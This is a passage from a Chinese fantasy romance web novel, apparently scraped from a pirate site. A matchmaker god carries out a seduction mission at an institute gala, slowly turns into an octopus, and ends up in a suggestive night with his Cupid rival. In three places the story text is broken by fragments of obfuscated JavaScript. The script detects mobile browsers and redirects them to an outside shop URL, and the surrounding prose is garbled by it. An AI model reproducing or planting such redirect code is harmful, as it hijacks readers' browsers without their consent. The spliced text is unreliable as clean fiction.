波特莱特——他的目标正独自坐在角落的沙发上摇晃着红酒杯,拒绝任何人的邀请。 波特莱特捏了捏眉心,看起来很是疲惫。 厄尔尼诺察觉到柯乐的心不在焉,朝他的方向看去,意有所指地笑了笑,叫侍应生拿来纸笔,在上面洋洋洒洒写下:“他正在为西洋海关的事情发愁。” 【剩余时间:46:00:00】 时间太有限了,他必须珍惜这双腿。 他回想他的“老师”安布洛斯所教他的,无奈地揉了揉眉心,然后走到不起眼的调饮区。 这里以调酒居多,这些普通的饮料不会有多少人来。 他哐哐调了一杯勉强能喝的西柚百香果水,在波特莱特身边人被他驱赶走后,将饮料放在波特莱特面前,“Please。” 波特莱特手上揉捏的动作一顿,瞬间抬头,警惕地问道:“你是谁?” 柯乐指了指自己的耳朵,摇了摇食指。 “听不见?”波特莱特越过他身后扫了一眼,轻轻点了点头,做了个请的手势,“请坐。” 波特莱特掏出一根雪茄,递给他,“请。” 柯乐盯着他的手指,脑海中不禁想到那晚研究所里发生的一幕。 啧……这手指真有点不想碰到。 但他犹豫几秒,还是接了过去。 舍不得孩子套不着狼。 波特莱特看起来是满意的,点燃了雪茄,灰烟丝丝缕缕飘起,双腿交叠,“几岁了?” “二十一。”柯乐像学生一样乖乖端坐,心里把这个谨慎的渣男骂了一遍又一遍,手都快在雪茄上掐出印子。 【获得上等雪茄X1。】 波特莱特嘴角稍稍扬起,掐着雪茄,百无聊赖地晃动,也是叫来侍应生拿来纸笔,在上面写了一行字,将纸扬到他面前。 “在纸上的聊天没有意思。” 那不容易吗,现在都什么世纪了? 他掏出手机,下载了翻译软件,“您只要说的是英文,它都会翻译。” 波特莱特盯着他的手机屏幕,突然就笑了,“真是幽默。” 他将调好的饮品朝波特莱特的方向推了推,“听说您很苦恼。” 脚指头在桌子底下快抠出一个洞来了,太装太羞耻了! 岁月还是在面前这个男人的脸上留下一些痕迹,微笑的时候沟壑堆叠,“你太年轻了。” 啊?怎么突然发出这个感慨? 上位者的目光对他来说太过渗人,特别是心里有小算盘时,审视的目光重如千斤。 他低着头思考波特莱特话里的意思。 就在他还要发问时,一双铮亮的皮鞋出现在他的余光内。 他的心咯噔一下,目光从那双四十三码的皮鞋上缓缓上移,然后落在一张阴沉的俊脸上。 安布洛斯。 这位更是重量级! 柯乐恨不得找个地洞钻进去。 “您真是好雅兴,现在连这样的货色都看得上?”安布洛斯弯腰,将柯乐挡在身后,冷笑,“或许在西洋海关扣下您的那批英兰蜘蛛时,应该也会欣悦接受。” 安布洛斯像一堵墙挡在柯乐面前,可怜的柯乐完全看不到他的嘴型,只从缝隙中看到波特莱特的脸色变了变。 他一脸懵地瞻仰着面前的高山丘比特。 怎么看起来波特莱特对他有所忌惮呢? 安布洛斯不是只是一个研究员吗? 这关系太弯弯绕绕了,脑子实在是要炸掉了。 厄尔尼诺似乎也是被这边的动静吸引了过来,替他打圆场,微笑着时不时看一下他,“两位,这是我带来的人,待会也是会参与聚会后半场的。” 柯乐看懂了“后半场”这个词。 一个聚会分上半场和下半场,那么一般都是上半场KTV,下半场纯酒局。 他突然觉得有点不妙。 安布洛斯转过身俯视他,眼眸垂下时,深邃的眼窝更加凸显。 他的睫毛纤长,在眼下打下一小块阴影,带着西方神明特有的、俯视众生的垂怜感。 “既然这样,那我就期待你完成这次的任务。”安布洛斯扯了扯嘴角,云淡风轻地微笑,转头就走。 厄尔尼诺也朝他笑,对他眨了眨眼睛,好像和他约定了某种暗号,在波特莱特起身离去时,也跟了上去,“等我,马上。” 安布洛斯朝着他们的反方向走,在他人看不到的地方,柯乐慌不择路地拉住安布洛斯的衣袖。 安布洛斯身形顿了顿,回眸来时充满了不耐。 他的心狠狠颤了颤,但还是下意识地用嘴型说出了在心底盘旋许久的—— “Help” 可安布洛斯的冷漠让他瞬间心慌。 安布洛斯轻轻一动袖子就甩开他,他呆呆地看着安布洛斯的背影,试图理清现状。 厄尔尼诺走了过来,啪一下在他的手腕上打了个啪啪圈。 “编号5,这样在后半场会好受些。” “后半场究竟会做什么?”柯乐拉了拉手上的圈。 “欧小家伙,或许到时候你就知道了,”厄尔尼诺猝不及防抬手摸了一把他的头发,学着刚刚使用波特莱特的手机翻译器那样,将手机屏幕翻过来给他看,“我感觉得出你对我的爱。” 柯乐一怔,系统的播报突然响起,让他的心神强烈震动一番。 【渣男已经对你放下心防,请继续努力,您离成功只有一步之遥。】 系统的判定直接让他陷入了自我怀疑。 系统的意思是……他要攻下的渣男不是波特莱特,而是他一直觉得好上加好的厄尔尼诺?? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944590|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“厄尔尼诺,”看着厄尔尼诺温柔似水的、比安布洛斯还要漂亮的眼眸,他干巴巴地接话,“你是怎么感觉得到的?” 厄尔尼诺只当他被突如其来的表白吓到,安抚地笑笑,“你为了我去靠近特里克副所长,又为了我去搭上波特莱特所长,我很感动。” 柯乐的脑子搅成一团乱麻,“等等,哪位是副的,哪位是正的?” “年长一些的是特里克副所长,”厄尔尼诺的表情淡了几分,“波特莱特所长年轻有为。” 柯乐真的很想仰天长啸。 这什么东西? 所长波特莱特不是他的对头所长,而是副所长特里克; 安布洛斯不是研究员,而是所长波特莱特??? 难怪安布洛斯在二楼来去自如! 柯乐:……打工人怎么能闹出这么大的乌龙?谁来救救我。 大厅咔哒一声,模拟钟表的声音响起。 【小可为您播报今日攻略进度。】 【所长波特莱特认为您是一位目光短浅、攀附权贵的无名者。】 柯乐无奈地闭上眼,听到宣判时差点跌坐在地。 【您目前的攻略进度是:-7%】 好不容易转正的业绩啊! 柯乐正欲哭无泪,台上的灯光骤然聚焦在大玻璃展柜。 可怜的海狗扒拉着展柜,双眼浑浊。 玻璃展柜被掀开盖,此刻柯乐才发现悬在海狗尾鳍上的刀片。 侍应生从幕布后推出一辆小车,上面整齐码着一排试管。 不好,他们这是要切了海狗,然后也把它改造成和杜丽一样的怪物?! PPT上变成了两个英文词汇: “Party Time.” 天哪,海狗!!!他的任务! 柯乐几乎是瞬间要往台上冲,然而侍应生却先他一步慌忙停下下坠的刀片。 海狗在展示柜中直发抖,双鳍拍打着玻璃。 周遭人头攒动,柯乐听不见,但能从他们的表情看出疑惑和愤怒。 突然众人好像沉寂下来,齐齐望向大厅不起眼的角落。 众人都站着,只有安布洛斯坐在最不起眼的地方,翘着腿,双手还保持着鼓掌的姿势。 大抵是他拍手发出了响动,吸引了众人的注意。 离安布洛斯最近的研究员凑上前去听他的指示,传达给侍应生。 侍应生又对着台下说了什么,人头一个接着一个又坐下了。 柯乐完全像聊天框里被屏蔽的那个人,顾不上方才才想通的事实,疑惑地看着厄尔尼诺。 厄尔尼诺深吸一口气,“西洋海关认为,台上这只海狗属于外来物种,有破坏生态的可能,必须销毁。” “他太年轻了,不懂这些商业价值。”厄尔尼诺评价道,“这个新所长创立的西洋海关,动了太多人的蛋糕,他活不长的。” 柯乐眼睁睁看着海狗在他面前被重新推回了幕后。 安布洛斯……他是什么意思?是想帮助他吗? 但系统的判定不可能作假,那-7%的数据还明晃晃地摆着。 “时间到了。”厄尔尼诺突然牵了他的手,他的手一僵,下意识就想抽手,抬眸却与那双熟悉的绿眸隔空对上。 安布洛斯朝他翻了一个白眼。 20. 【-7%】 柯乐觉得自己在这个副本里实在是太被动了。 他被厄尔尼诺带到了三层的一扇门前。 “我的私人换装区。”厄尔尼诺将手抵在门上,“后半场要开始了,请挑选。” 厄尔尼诺向他解释,今天是蓝海研究所二十周年,所有参加的人都会挑选和海洋相关的服装,也就是所谓的变装舞会。 柯乐忍不住吐槽,西方可太喜欢变装舞会了。 直到厄尔尼诺推开门,他才知道什么叫玩得花。 各种各样的制服和可爱毛绒服饰和…… 没眼看啊老哥! 再看厄尔尼诺时,他觉得自己真的瞎了狗眼,之前怎么就觉得他绅士,他彬彬有礼呢? “欧亲爱的,你的手环已经证明了你是我的人,所以可不能让我丢脸哦。”厄尔尼诺点了点他的手环,冲到一套吊着的蓝色毛绒服装面前,“这套怎么样,好适合你!” 厄尔尼诺将衣服从架子上取下,为柯乐展示。 柯乐瞬间呆在原地。 不是,这人鱼尾巴……然后这一长布条是什么?别和他说是模拟贝壳遮.胸的! 他果断,“Pass.” “太可惜了,居然不喜欢。” 厄尔尼诺又埋身去挑,拿了几套,越来越过分,柯乐将这一套套在脑海中想象上身的样子,拳头都硬了。 【剩余时间:45:30:00】 【柯乐先生,小可提醒您,除去休息时间,您的时间大概只剩24小时。】 打工人,打工魂,分难赚.屎.难吃…… 柯乐默念了几遍反复洗脑自己配合系统完成任务,整理了面部表情,赶紧上前制止,“请让我来挑。” 他挑了一套最为保守的衣服。 一整套的蓝色西装,虽然上面的绒线垂丝还是有些浮夸,但这绝对是里面唯一能穿出去见人的了。 他拿着衣服,不顾正盯着他沉思的厄尔尼诺,独自进了换衣间。 他将衣服捋直,站在落地镜前看着自己的正面侧面反面。 哎,还真别说,他有点帅的。 就在他要推门而出时,在一旁的梳妆台脚边突然闪过一线银光。 他弯腰随手一摸,玻璃沙沙摩擦地面。 一块碎镜片? 他不由打量面前这块落地镜,却没见丝毫裂缝。 【恭喜拾得邪恶皇后的魔镜X1,已放入背包。】 【附:此镜片来源于您的表妹杜丽。】 邪恶皇后的魔镜?这不是……白雪公主??? 镜面中显现出他的模样,倒是有几分唇红齿白的模样。 自从接了前任月老的班,他就时常为姻缘业绩所困,每天过得实在太糙,他很久没有近距离照过镜子了。 他忍不住呢喃,“魔镜魔镜,谁才是这个世界上最美丽的……” 他的心脏突突跳了两下,被丘比特射中的地方好像有些发胀,血液的迸发让他骤然回神。 他愣在原地,将镜面移开。 这镜子真有魔力,他差点就陷入了镜子的陷阱中,像个怨妇一样反复唠叨。 但这块镜片又来自于杜丽…… 好烦,快要长脑子了。 门突然轻微震动,应该是厄尔尼诺在外敲门。 哦不,应该说,渣男厄尔尼诺。 生态柜里杜丽是那样的美,又那样的诡异。 柯乐深吸一口气,杜丽的身影在落地镜前和他渐渐重叠,他仿佛看到了杜丽拿着魔镜不断地询问,“谁是这个世界上最美丽的女人?” 门再震动片刻,柯乐再理了理衣襟,将自己的笑容调整在最迷人的角度。 愿这个世界上再也没有渣男。 他甫一推开门,脖子上忽然被套了一个纯黑色的项圈。 “太美了。”厄尔尼诺赞赏地从上到下打量他,看他抬手去触碰项圈,慌忙制止,刚要开口才想起他听不见,拿起翻译器,“其他的都可以不要,但这个和你太相配了。” 电流从脖子上窜到四肢,柯乐不禁哆嗦一番。 救命啊,有点太恶心了…… “一定要戴着。”厄尔尼诺笑笑,“没有定位器的,你是自由的,放心。” 人,一旦打上了标签,就很难将标签剔除了。 自从给厄尔尼诺打上渣男的标签,他做什么都油腻腻的。 可柯乐还得微笑着说谢谢。 柯乐还是给自己挑了一副白色的面具,恰巧遮住他的上半张脸。 “走吧。”厄尔尼诺来牵他的手。 他牵的是另一只章鱼的腿,只是一只章鱼而已…… 柯乐这么安慰自己,在重门前还是受不了这种蚁爬感,他深吸一口气,“抱歉,麻烦您先稍等,我去一下洗手间。” 他几乎是连滚带爬进的洗手间。 刚想踏进隔间天翻地覆地干呕,断断续续的水声让他生生把这种感觉捂在胃里。 是谁在外面?如果是宴会上的人,他得留个心眼,毕竟这些人保不准全是一伙的。 做戏得做全套,不然前功尽弃。 他倚着隔间的门,连着做了几个深呼吸,一把拉开隔间的门,直面正在洗手的…… 嗯? 怎么是那只海狗??? 肥嘟嘟的海狗半截身子滑在洗手池内,正用双鳍将水龙头一开一关! 海狗察觉了人类的凝视,抬起头,一双清澈的眼睛瞪得老大,就像刚踏进社会的大学生: {(°△°; "}! “怎么是你?”刚刚不是才被西洋海关截获吗?除非安布洛斯……是西洋海关的幕后之手。 那即使安布洛斯就是控制着西洋海关,那他也没有理由帮他。 这个认知让柯乐有些别扭。 他们明明是死对头,死对头就要有死对头的样啊…… 他逗猫似地朝海狗嘬了两声,“过来。” 海狗在洗手池里扑了两下鳍,咚一下摔回地面,肚子弹跳两下,它甩着尾巴扑腾着朝他挪来。 “不乖的海狗,”柯乐想掏出一个麻袋,发现背包里啥都没有,所以他干脆召唤系统,“背包借放一下。” 【亲爱的柯乐先生,这真让小可为难呢!】 【海狗并不属于[能够拾取]的范围。】 “系统,你不是天堂-天庭合作项目吗?这只海狗,”柯乐顿了顿,不是那么愿意承认,“是丘比特给我的,这是我们关系转变的象征,你应该帮我这个忙。” 沉寂了几秒,系统发出滴滴的声音。 【已接收反馈。】 【背包拾取中……】 海狗开始扑腾。 【背包拾取中……装不下了。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944591|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【拾取完成。】 他的下腹突然隆起了一块,就像长了一层薄薄的小肚子。 “系统,这是怎么回事?!” 【小可按您的反馈,将海狗暂存至背包。】 【小可和您是一体的,所以小可撑到了,您也撑到了。】 柯乐:…… 突然洗手间的门被推开,厄尔尼诺前来寻他。 * 一场宴会的后半场,如柯乐所觉得的那样,绝对不是什么好东西。 所有的人都穿着各异,几乎每一位强者都带了自己的伴。 柯乐算是来晚了,那些人已经开始了攀谈介绍。 他眼尖,一眼就扫到在长沙发上坐着的安布洛斯。 安布洛斯的身材确实太过出众,当初给他套上红色高帽的时候他就发现了。 他没有像其他人那样穿戴浮夸的服饰,而是简简单单一套暗黑色西装,只不过材质特殊,在暗光下就像暗流汹涌。 并且他别了一个海蓝色的胸针,这套衣服真实做到了“点题”。 厄尔尼诺向别人介绍他,身旁的人都向他投来艳羡的目光。 厄尔尼诺分明不认识他,但是借着他听不懂,所以背对着他介绍的时候,或许胡乱编造了什么。 在这场无声的贸易里,柯乐成为一个让人随意指摘的对象,他越发觉得无地自容—— 安布洛斯提醒他多次,他却还是把自己的信任当回事。 【剩余时间:44:40:00】 系统在未达到整数点时突然报了倒计时,柯乐眼皮一跳,手一颤。 他瞬间低头去看,只见他的半根手掌变成了一根半透明的触手,就要往厄尔尼诺身上打去! 他慌忙用另一只手去摁住这根胡乱鞭挞的触手,才堪堪将它压制住。 触手变回了手掌,那种胀痛感还存留着,感觉随时都有可能爆发。 他微微喘息,厄尔尼诺忽然转过身来看他。 他假装什么事情都没有发生,尽可能自然地将手移开。 “太冷了吗?”厄尔尼诺突然牵了他的手,“会不会好点?” 好个鬼啊大哥,倒是赶紧完成任务,他要变章鱼了啊! “是的,谢谢。”他微笑。 旁边的人应该是又夸了他几句,厄尔尼诺笑容加深,牵着他往前走,等等……这个方向?! 安布洛斯掀起眼皮看向他,眼神在他被牵着的手上瞟了一眼,淡淡地移开。 浑身的筋脉好像因为他的那一眼,突突跳动,就像沸腾的水不断冲击烧水壶壁。 呼吸骤停时,他惊恐地看向他的手掌。 他的手指像退化一样,慢慢地萎缩,然后变成透明的触手,在厄尔尼诺的手心里肆意挥动! 厄尔尼诺疑惑地回头,他的手又变回原样。 厄尔尼诺揉了揉他的手腕,“你的手真软。” 触手肯定软啊大哥。 他的脑海里闪过好几种说辞,余光却瞥到安布洛斯交叠着的腿放下。 安布洛斯皮鞋点地的同时,厄尔尼诺带着他往前走了几步,在安布洛斯的身旁落座。 厄尔尼诺坐下,然后非常自然地、像老夫老夫那样,拉着他的手往身边扯。 他的双腿突然一软,特别是右腿,像失了支点,整个人直接拦腰向前扑去! 21. 【-7%】 柯乐从来没有想过,在他的神生里,可以体验到被毒液寄生那种左右脑互搏的感觉。 果然系统提醒他不要中了女巫的陷阱是有道理的。 不听系统言,吃亏在眼前啊! 就在刚刚,他的脚也变成了触手,软趴趴的一团。 在他还没学会和触手共存时,触手就已经将他至于死地。 他几乎是斜着身子,歪歪扭扭的,像一个伪人那样往右手边栽去。 电光火石间,红线从指尖窜出,漫无目的地发射,忽然间被一股力量撺住,猛地一拉! 头哐一声撞上了大理石桌沿,又被人拦腰抱住,变成粗触手的腿被什么东西用力夹住,收敛了些。 他稳了稳身子,触手上的吸盘吸上了…… 嗯?沙沙的又滑滑的触感。 一抬头,他撞上了低垂的绿眸。 安布洛斯的金发垂在胸前,他几乎整个人都挨在安布洛斯的身上。 而他的触手……正攀附在安布洛斯的□□,吸盘咬着他的大腿内侧不放。 柯乐真的想眼睛一闭然后鼠掉。 安布洛斯的食指上绕着他的红线,轻轻扯动,柯乐就往前倒一寸。 柯乐非常清晰地看到安布洛斯的嘴角挂上一丝笑。 安布洛斯将目光从他身上移开,落在阴沉着脸的厄尔尼诺手上,看着厄尔尼诺气得发抖的指尖,嗤笑,“这是你的人?” 厄尔尼诺张了张嘴,应是也不能,应不是也不能。 安布洛斯又说,“或者说,你教他这样的?” 柯乐这时又恨不得看不懂嘴型了。 完了完了,这个副本是彻底完蛋了——渣男此刻应该恨死他了,对头也攻略不了一点。 他唯一的收获就是那只肥得可以的海狗。 系统,有没有道具救一下啊! 【背包面板加载中……】 【您目前背包里有:女仆装X1、旗袍……】 好了,关闭吧,别再出来了系统。 “厄尔尼诺。”柯乐脑子一片混沌,“过来,我和你说。” 厄尔尼诺被他摆了一道,正在气头上,听到他这么说气得直发抖,又碍于安布洛斯的面子无法当场发泄。 “听我解释。”他又重复了一遍。 厄尔尼诺顾着大局,还是加深了他的形象,倾身过来。 就在他俯下身的一瞬间,柯乐咔咔一顿操作,将指尖红绳生生掐断,直接绕到他的脖子上! 在外人看来,就好像他环抱了厄尔尼诺。 但实际上,红绳牵的是厄尔尼诺和安布洛斯两大帅哥! 厄尔尼诺整个人愣住,眼神有瞬间的涣散。 再抬起头来时,他用一种纠结又不可思议的眼神看着面前的领导安布洛斯。 柯乐都觉得厄尔尼诺要脱口而出“亲爱的”。 如果安布洛斯不是一位领导的话。 柯乐顿了顿,没想到自己的红线这么有用。 当然这红线牵得快崩得也快,不然先前也没有那么多黄了的单。 厄尔尼诺的注意力从他身上转移到安布洛斯身上后,手上的红酒怎么也敬不出去。 在他的认知里,似乎让喜欢的人喝酒实在是一件不礼貌的事情。 柯乐想逃离这个地方,刚一动,变成触手的腿被安布洛斯一把扯住。 这力道直接拉扯到了触手的根.部,一阵阵地抽痛。 安布洛斯的胸膛都在颤抖。 柯乐:微笑。 厄尔尼诺此刻完全上头,竟然赞赏道:“波特莱特先生,您今天这套很漂亮,很……禁.欲。” 安布洛斯突然空出一只手,突然搂住他的腰,让他往胸口贴,再伸到他背后,拿起酒杯,将浅浅的红酒一饮而尽,对厄尔尼诺说:“谢谢你送的人。” 柯乐的脑子一团乱麻。 感染渣男……怎么感染啊……现在渣男都移情别恋了。 “明天再嘉奖,”安布洛斯嘴角一勾,指尖勾了勾,红线时而绷紧,时而放松,好像在嘲笑柯乐耍的小心机,“人我先带走了。” 【还剩45:00:00】 【小可扫描到渣男对您的好感度已经清零,任务失败。】 【柯乐先生,很抱歉,您已经丧失攻略渣男的机会。】 【副本即将崩……塌?】 柯乐直接吻上了安布洛斯的唇,只轻轻待了片刻,他将安布洛斯往厄尔尼诺手上一推,“对不起了安布洛斯,帮我咬他一口。” 安布洛斯直接磕上了厄尔尼诺的手臂,金色的头发披散下来,活像一个疯子。 【小可惊呆了。】 【小可从来没有见过这样借人完成任务的方式。】 但也确实是他的口水感染的渣男呀! 【这……】 【小可将视频上传云端,由三位评审员评审,两票通过即为通过。】 安布洛斯的手指动了动,撑着起身,拳头紧握,狠狠往桌上一砸,桌子上瞬间裂了一道缝。 下一刻柯乐就被拦腰抱起,他的触手被安布洛斯藏在怀里,在众人震惊的目送下遗憾离场。 “安布洛斯……”柯乐试图解释,但他也确实想不明白刚刚为什么会一时冲动,但他又不能直接将系统捅出来,说出的话就显得苍白无力,“我是真没招了。” 安布洛斯直接踢开一个房间的门,将他抱了进去。 那一套套衣服……厄尔尼诺的套装房!这不是刚刚才从里面出来吗? 安布洛斯反手将门关上,在关上的瞬间门震动两下。 “安布洛斯,赶紧把这房间还给别人。” 安布洛斯眉头紧蹙,将门落了锁,径直走到换衣间内,柯乐霎时看到镜子里的自己,呼吸凝滞。 他的腿已经完全变成了触手,攀着安布洛斯的身体,肆意摩擦。 安布洛斯已经压不住挥动的触手,或者说他根本没想过要刻意压制,任凭吸盘吸吮他的身体。 他在墙上摸了摸,抠到细缝时用力一推! 昏暗的光线让柯乐心头一跳,一张床就这样赫然出现在他面前。 他还没来得及震惊,也没能过问安布洛斯是如何知道里面有暗门的,下一刻他被摔到床上。 安布洛斯压了上来,此时他脖子上的项圈成了一个借力点,恰巧能够挤进安布洛斯的一只手。 西方神明只用了几分力道,就将他的上半身提了上来,强迫他与之对视,紧接着又被摁回床上。 安布洛斯滚烫修长的手指抵在他的喉结上,他的触手在西方神明的身后彻底炸开,像盛开的花朵。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944592|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 触手肆意蠕动,不受控制地撩拨着安布洛斯的后背,双腿和脸庞。 实在是诡异而又缠.绵。 他的面具松松垮垮,被西方神明一打就摔落在地上。 安布洛斯实在是气得狠了,绿眸布上了血丝,胸膛不住起伏。 柯乐从没有见过这副模样的死对头。 他明白自己毫不占理,所以在气势上也弱了不少,只能任凭安布洛斯处置。 柯乐看见安布洛斯的唇一张一合,好像是叫了他的名字。 或许安布洛斯想起了现在的他是个聋子,也就不再说话自讨没趣。 还好还好,有时候听不见也是一桩好事,至少能够屏蔽一些骂得很难听的…… 他的双眼顿时瞪大。 安布洛斯的金发垂下,下一刻滚烫的唇贴了上来,直接啃上了他的唇峰,然后再转移到唇角。 安布洛斯一定、一定、一定是在报复他! 好狠的西方神明!!!! 安布洛斯的手指钻在项圈下,指尖就抵在他的下颚,用了几分力道扣着,逼迫他扬着头承受唇舌的进攻。 他彻底沦为下位,在这一刻,他输给了他的死对头。 他的意识有片刻的模糊,直到系统的声音在脑海响起,他才得到神志的清明。 【审核完成,全票通过。】 【恭喜柯乐先生完成主线任务,现将听觉解冻。】 【请问您是否还要继续滞留副本,以获取更多的预测点?】 听觉突然回归,世界骤然变得嘈杂。 酒杯碰撞、人声鼎沸,都透过了墙壁缝隙往他的耳膜里钻。 他想抬手揉揉快要撕裂的耳朵,却忽然在分辨出各种声音后,听到西方神明急促的呼吸和强有力的心跳。 扑通扑通。 他忽然就不知道怎么面对这处处和他作对的丘比特——他看起来太气愤了,这个时候忤逆他好像都是在自寻死路。 特别是他偏头稍稍躲开时,瞥见毛绒绒的红线正绕在他发白的指节上,正随着他的动作颤动……等等? 怎么好像有两节? “安布洛斯,你先别动!”柯乐抓住安布洛斯的手腕,“我看看。” 安布洛斯顿了顿,柯乐直接将他的手抽出,正反面仔细端详。 他的食指上,绕着一截断了的红线,断掉的那一节末端细线炸开,应该是被他扯断的; 还有一根完整的红线,在他的指根绕了圈绑了死结,但牵出的方向被他做了隐藏。 安布洛斯甩开柯乐的手,将手指弯曲收了回去,“不懂礼仪的家伙。” 柯乐发愣,看着伏在他身上喘气的西方神明,又看了看不受他脑子控制的触手。 这状况……现在好像彼此都不大懂礼仪吧? 就在他这么想时,他的触手不甘落于下风,在空中飞舞着,然后穿过安布洛斯的手,摩擦他的胸膛,然后往下。 停停停停啊! 触手撩开安布洛斯的西装下摆,窸窣钻了进去,吸盘也一吮一吸,不断张合。 滑滑的,居然没有他以为的西方男人那么茂密的毛发……哎不对,停停停! “果然是很不懂礼貌的家伙。”安布洛斯突然出声,冷哼一声,“既然这么热情的话,那不如就如愿。” 22. 【-7%】 外面的人声散去了些,女巫的药水让柯乐的身体不断地产生变化,他完全控制不了触手。 它们好像都有自己的想法——它们喜欢安布洛斯的身体,紧紧地攀附,和柯乐抵住安布洛斯的手形成对比。 这看起来太像欲拒还迎了。 安布洛斯大概也是这样想的。 柯乐自暴自弃,松了力道,让安布洛斯揪着他的触手一拉,整个身子就往下滑了一寸。 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 哎呦桑格利凡大哥,你这个点怎么还在啊? 【请问您是否还要继续滞留副本,以获取更多的预测点?】 哦?那他当然…… “呀安布洛斯你干什么!” 安布洛斯这个疯子,直接将他拉到身下,然后就有什么东西硌着他了。 【好的,您选择了要。】 “不对,什么?你说什么?我说的是‘呀’,这是一个语气词啊!” 耳背的系统,衰神附体的他。 “你说什么?”安布洛斯的指尖在他的胸口打转,“这里曾经让我一箭射穿了。” 你还敢说?要不是被你一箭射穿了,他至于这样吗? 西方神明的指尖下移,落到他肚脐眼的位置,停顿片刻,将滚烫的掌心覆盖上他的小腹,“这里怎么鼓鼓的?” 柯乐沉默不答。 安布洛斯用了力道,往下摁了摁,语气听起来波澜不惊,“谁的孩子?” 海狗在背包里往上一弓。 海狗&柯乐:唔——呜! 柯乐:“不吃别扒拉。” 安布洛斯轻声笑笑。 “哎你别扒拉我的衣服!”柯乐摁住安布洛斯解开他上衣的手,“你别忘了,我们一个属于天庭,一个属于天堂,我们可是东西方互斥的岗位啊!” 安布洛斯勾了勾唇,“月老先生,之前的都已经扯平了,那么我现在压你一头了。” 什么叫“已经扯平了”?扯不平的! 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 柯乐被掀趴在床上,整张脸贴在柔软的枕头上,闷闷地说:“我警告你啊,我会把你的所作所为捅上阿尔卑斯山,让整座山的神都知道你是这样……” 他这么说,但触手却偏和他对着干,直接对着安布洛斯绽放。 安布洛斯的手敲了敲触手上的吸盘,将滑动的触手揪来揪去,不断拉扯。 触手高高翘起,弯了弯,好像在对安布洛斯发出无声的邀请。 柯乐:可恶的女巫,不争气的触手%¥@&…¥#~*#@¥…没招了。 就当他彻底放弃挣扎时,安布洛斯的手突然顿住。 “又怎么了大哥——”柯乐拉长了声音,闷在枕头里。 从背后传来安布洛斯迟疑又气喘的声音,遥远地有些不真实: “章鱼没有生.殖.腔吗?” 柯乐:…… * 柯乐的生物钟在早上八点叫醒了他。 暗室是一个密闭空间,长时间不透气让他觉得胸腔有点闷。 他用手肘抵着床垫,支起上半身。 他这轻轻一动,就拉扯到下.半身,酸痛感瞬间蔓延至全身,他忍不住呜咽。 他的触手被压制回去,此刻他正光.裸着腿。 偏头一看,那该死的丘比特正睡熟着,金色的长发散开来,鼻梁高挺,双眼紧闭,显出他深邃的眼窝,睫毛随着他的呼吸轻颤。 完全是一副事后餍足的模样。 靠,不知道的还以为他被丘比特给上了呢! 柯乐长叹一声,头痛欲裂。 昨晚陪着他的死对头安布洛斯闹到半夜,最终因为找不到生.殖.腔而落幕。 这简直是太荒唐了! 他踢了安布洛斯一脚,“喂,丘比特,醒醒。” 安布洛斯悠悠转醒,熟稔地拉住他,将他环抱着,然后又闭上了眼睛。 柯乐:“……神.经病,赶紧起来,给我拿裤子。” 安布洛斯的眼睛终于缓缓睁开,绿色的瞳眸似是刚被水浸泡过,看得柯乐有片刻的恍神。 绿瞳转了转,最终落在他的腿上,“疼?我去拿点甜的当早餐……” 柯乐刚想骂他胡言乱语,安布洛斯起身时,他突然听到什么东西嘎嘣脆裂开的声音。 咔嚓—— 【桑格利凡的蛋裂开了。】 柯乐也裂开了。 安布洛斯起身的动作一顿,“什么声音?” 哎?这颗龙蛋不是在背包里放着吗,怎么安布洛斯也能听到裂开的声音? 【桑格利凡的蛋来源于红皇后的后花园。】 哦……是因为安布洛斯是红皇后,所以这颗蛋事实上属于他们的共有物。 柯乐往床边一倒,轻声道:“系统,取出桑格利凡的蛋。” 他将自己藏进被褥内,露出一双眼睛盯了安布洛斯一会,然后从里面颤颤巍巍掏出一颗裂了一道东非大裂谷的蛋。 柯乐:“天干物燥,这颗蛋缺水,皲裂了,呵呵。” “你为什么把这颗蛋带进来了?”安布洛斯扶额,摁了摁太阳穴,“他应该留在上一个副本里的。” “它乐意跟着。”柯乐挺直了脊背,非常笃定。 “它就这么被你藏在身上?你藏在哪里的?”安布洛斯狐疑道。 柯乐几乎是脱口而出:“裤.裆.里。” 安布洛斯:…… 安布洛斯看起来并不想追究这颗蛋的来历。 他径直走到暗门旁拉开门,然后走到外面的门前,咔哒一声解锁。 “站起来。”安布洛斯冷声道。 站起来,他?这也太狠了吧。 厄尔尼诺的声音沙哑,“波特莱特先生,我给您带来了您最爱的甜甜圈……” “闭嘴,站起来。”安布洛斯再一次出声。 柯乐慌忙瑟缩进被窝。 刚刚那个声音,是厄尔尼诺! 